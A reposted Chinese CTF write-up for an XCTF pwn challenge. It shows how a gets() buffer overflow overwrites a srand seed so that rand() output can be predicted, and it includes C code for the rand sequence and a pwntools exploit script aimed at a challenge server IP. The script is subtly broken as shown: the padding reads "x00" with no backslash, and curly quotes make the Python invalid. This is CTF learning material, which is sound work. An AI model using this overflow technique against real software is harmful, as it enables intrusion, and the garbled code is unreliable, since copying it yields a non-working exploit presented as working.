CTF:第五题
Posted suanguade
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF:第五题相关的知识,希望对你有一定的参考价值。
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1
这个题,感觉和前面比,难度反倒低了一点,这里面用了两个知识
1:linux 系统随机数获取
2:srand 伪随机数生成
只要记住一点,就可以了,伪随机数生成是靠算法的,而算法是固定的,
所以我只需要控制好传入的key,就可以预知生成的伪随机数是什么,
需要有点开发技术了
首先看一下代码
红框里面取系统随机数,但是我们肯定不能用系统随机数啊,
如果是那样的话,我们必死啊,
幸好后面有个gets,我们可以直接从标准输入流传入一个字符串,
由于字符串尾部和 srand 的key 挨着,所以可以直接写入超长字符串覆盖,
好了,知道流程,那就开干吧。
写个代码,先算个随机数
1 #include <stdio.h> 2 3 int main() 4 { 5 int i = 0; 6 srand(0); 7 for (i = 0; i <= 9; i++) 8 { 9 printf("%d ", rand() % 6 + 1); 10 } 11 12 return 0; 13 }
算完之后,得到了一系列数字
2
5
4
2
6
2
5
1
4
2
好了,然后构造python
1 from pwn import * 2 3 #a = process("./b59204f56a0545e8a22f8518e749f19f") 4 a = remote(‘124.126.19.106‘, 36867) 5 r = a.recvuntil(":") 6 print(r) 7 8 str = "A" * 0x20 + "x00" * 8 9 print(str) 10 a.send(str) 11 12 a.interactive()
其实也非常简单,因为我决定那一串数字,我手动输入,
执行脚本
结束了,这个反倒很容易,感觉还可以。
以上是关于CTF:第五题的主要内容,如果未能解决你的问题,请参考以下文章